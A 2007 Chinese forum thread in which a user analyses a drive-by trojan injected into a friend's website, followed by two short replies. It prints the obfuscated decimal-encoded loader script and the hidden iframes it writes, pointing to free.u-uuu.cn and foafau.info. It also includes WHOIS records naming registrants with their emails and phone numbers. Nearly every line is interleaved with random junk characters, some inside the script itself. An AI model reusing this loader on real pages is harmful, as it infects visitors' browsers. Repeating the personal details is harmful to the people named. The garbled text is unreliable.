社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5217阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, bny5e:= d  
vxZ'-&;t  
http://www.areway.cn/?p=175 V[(fE=cIN~  
'W(u.  
xq((]5Py  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: GURiW42  
          ~]-n%J $q  
<script>t=’60,105,102,114,97,109,101, M G$+Blw>  
32,115,114,99,61,104,116,116,112,58,47,47, U 3< 3T  
102,114,101,101,46,117,45,117,117,117,46,99, RB %+|@c  
110,47,101,114,114,111,114,46,104,116,109, t1w]L  
32,119,105,100,116,104,61,49,48,48,32,104, +;~N; BT  
101,105,103,104,116,61,48,62,60,47,105,102, "s0,9; }  
114,97,109,101,62′; (vG*)a  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 46g0 e  
                                                                                                  'JOCL0FP  
<script>t=’60,105,102,114,97,109,101,32,115, gO8d2?Oh  
114,99,61,104,116,116,112,58,47,47,102,114, BzfR8mD  
101,101,46,117,45,117,117,117,46,99,110,47, ':(AiD-}  
101,114,114,111,114,46,104,116,109,32,119, :GIBB=D9  
105,100,116,104,61,49,48,48,32,104,101,105, gkd4)\9  
103,104,116,61,48,62,60,47,105,102,114,97, gk|>E[.  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); oJ4HvrUO  
document.write(t);</script> tY;<S}[@7w  
                                                                                                  0I.KHIB k  
<html xmlns=” %j\&}>P4$  
http://www.w3.org/1999/xhtml ui>jJ(  
“> Kzrd<h]`)  
<head> uP* kvi:e  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> RxqNgun@  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> )c4tGT<  
<title>首页 - 爱生活家庭网 YD[HBF)~j  
                                                                                                                                                    j1;[6XG  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ` Tap0V  
转换字符串后的大概内容是(谁点击后果自付): tBGLEeL/.  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… `TPIc  
                                                                                                                                  U\P4ts  
查询玉米u-uuu.cn的详细信息: $rXCNew(  
Domain Name: u-uuu.cn +KbkdY Z  
ROID: 20070901s10001s64972306-cn b,^ "-r  
Domain Status: ok TO.b- ;  
Registrant Organization: 王雷 R$awo/'^  
Registrant Name: 王雷 i3 eF_  
Administrative Email: czlovexs@126.com _-C/s p^   
Sponsoring Registrar: 北京万网志成科技有限公司 G*4I;'6  
Name Server:ns.yovole.com c K\   
Name Server:ns1.yovole.com x eFx!$3  
Registration Date: 2007-09-01 17:54 ee? d ?:L  
Expiration Date: 2008-09-01 17:54 >8"(go+02  
最后PING了一下地址 都没有什么…. FygNWI'  
                                                                                                >pp/4Ia!  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ycBgr,Ynu<  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 3JGrJ!x  
<script language=”javascript” src=” D\_nqx9O  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3WP\MM  
> RFRXOyGz$  
这个玉米应该有可能是木马作者的: G[ U5R?/  
foafau.info的详细信息: $l*?Ce:  
Access to INFO WHOIS information is provided to assist persons in )8C`EPe  
determining the contents of a domain name registration record in the m538p.(LIR  
Afilias registry database. The data in this record is provided by $Y7VA  
Afilias Limited for informational purposes only, and Afilias does not :%h1Q>F  
guarantee its accuracy.  This service is intended only for query-based 9jjeZc'  
access. You agree that you will use this data only for lawful purposes w(V%EEk  
and that, under no circumstances will you use this data to: (a) allow, $_F_%m"\  
enable, or otherwise support the transmission by e-mail, telephone, or j;`pAN('  
facsimile of mass unsolicited, commercial advertising or solicitations rci,&>L"  
to entities other than the data recipient’s own existing customers; or av!;k2"  
(b) enable high volume, automated, electronic processes that send C4(xtSJSd!  
queries or data to the systems of Registry Operator, a Registrar, or q\<l"b z  
Afilias except as reasonably necessary to register domain names or %nkP" Z#  
modify existing registrations. All rights reserved. Afilias reserves ;D~#|CB  
the right to modify these terms at any time. By submitting this query, u9 &$`N_G  
you agree to abide by this policy. QQW}.>N  
Domain ID:D22418703-LRMS :6(\:  
Domain Name:FOAFAU.INFO )G)6D"5,+G  
Created On:20-Nov-2007 16:05:42 UTC RyK~"CWT  
Last Updated On:20-Nov-2007 16:05:44 UTC uaO.7QSwN  
Expiration Date:20-Nov-2008 16:05:42 UTC w8X5kk   
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) y-26\eY^P  
Status:CLIENT DELETE PROHIBITED l+6c|([  
Status:CLIENT RENEW PROHIBITED Z|C,HF+m.  
Status:CLIENT TRANSFER PROHIBITED )>1}I_1j)  
Status:CLIENT UPDATE PROHIBITED +UDt2  
Status:TRANSFER PROHIBITED {`D]%eRO  
Registrant ID:GODA-040110615 ~Y`ys[Z m  
Registrant Name:liu hong D`@a*YIq  
Registrant Organization: wKpBH}  
Registrant Street1:beijing Q$ew.h  
Registrant Street2: N~flao^  
Registrant Street3: Xr K29a  
Registrant City:beijing ^<!R%"o-  
Registrant State/Province: ULt5Zi  
Registrant Postal Code:100000 zH~P-MqC  
Registrant Country:CN MJiVFfYW  
Registrant Phone:+86.860108888777 ntH`\ )xi  
Registrant Phone Ext.: F2 B(PGa7  
Registrant FAX: Cdz?+hb  
Registrant FAX Ext.: 0 8)f  
Registrant Email:bbbshiji@163.com \H .Cmm^I  
Admin ID:GODA-240110615 [@9S-$Xa  
Admin Name:liu hong _{`Z?lt  
Admin Organization: #; !@Pf  
Admin Street1:beijing 32K& IfV  
Admin Street2: FXo.f<U  
Admin Street3: z@VL?A(3  
Admin City:beijing x[lIib1s  
Admin State/Province: _6fy'%J=U  
Admin Postal Code:100000 ^5s7mls  
Admin Country:CN \C$e+qb~{  
Admin Phone:+86.860108888777 )f$4: Pq  
Admin Phone Ext.: L6CI9C;-b  
Admin FAX: bIGcszWr  
Admin FAX Ext.: %j^QK>%  
Admin Email:bbbshiji@163.com (xW+* %  
Billing ID:GODA-340110615 =u}~\ 'd  
Billing Name:liu hong +A8q.-N G  
Billing Organization: .T7CMkYt  
Billing Street1:beijing zd%f5L('  
Billing Street2: xy:Mb =r  
Billing Street3: FQ 0&{ulb  
Billing City:beijing QD0x^v8  
Billing State/Province: KWo Ps%G  
Billing Postal Code:100000 ZY,$oFdsi  
Billing Country:CN 'l(s)Oa{M:  
Billing Phone:+86.860108888777 zI[<uvxzW`  
Billing Phone Ext.: /lR*ab  
Billing FAX: 8a*&,W  
Billing FAX Ext.: P@@MQ[u?!.  
Billing Email:bbbshiji@163.com *jhgCm  
Tech ID:GODA-140110615 'nPI zK<v  
Tech Name:liu hong =-Hhm($n  
Tech Organization: .I~:j`K6  
Tech Street1:beijing WA2NjxYz  
Tech Street2: xY]q[a?cy  
Tech Street3: 9^DAlY,x.  
Tech City:beijing w>*Jgc@A*  
Tech State/Province: YT?Lt!cl=  
Tech Postal Code:100000 g^ ?G)>  
Tech Country:CN atpHv**D<i  
Tech Phone:+86.860108888777 T/ECW  
Tech Phone Ext.: 3:xx:Jt  
Tech FAX: _LZ(HTX~  
Tech FAX Ext.: gd * b0(  
Tech Email:bbbshiji@163.com lZRO"[<  
Name Server:NS27.DOMAINCONTROL.COM 3U^Vz9LW  
Name Server:NS28.DOMAINCONTROL.COM j~Pw t9G  
Name Server: [<,7LG<  
Name Server: DX!dU'tj  
Name Server: Ra53M!>]  
Name Server:  d;>G  
Name Server: 47(_5PFb#  
Name Server: odca?  
Name Server: jR}EBaI}  
Name Server: Psf'^42(v  
Name Server: B~]6[Z  
Name Server: oH17!$Fly  
Name Server: 2p9^ =  
                                                                                                          Y7+c/co  
接着下载每个文件里面的代码: .f0qgmIyL  
一步一步看.. hpXW t Q  
|_ED*ATR=  
 ;@k=9o]A  
%Qz<Lk">.  
;76+J)  
^U,iDK_  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八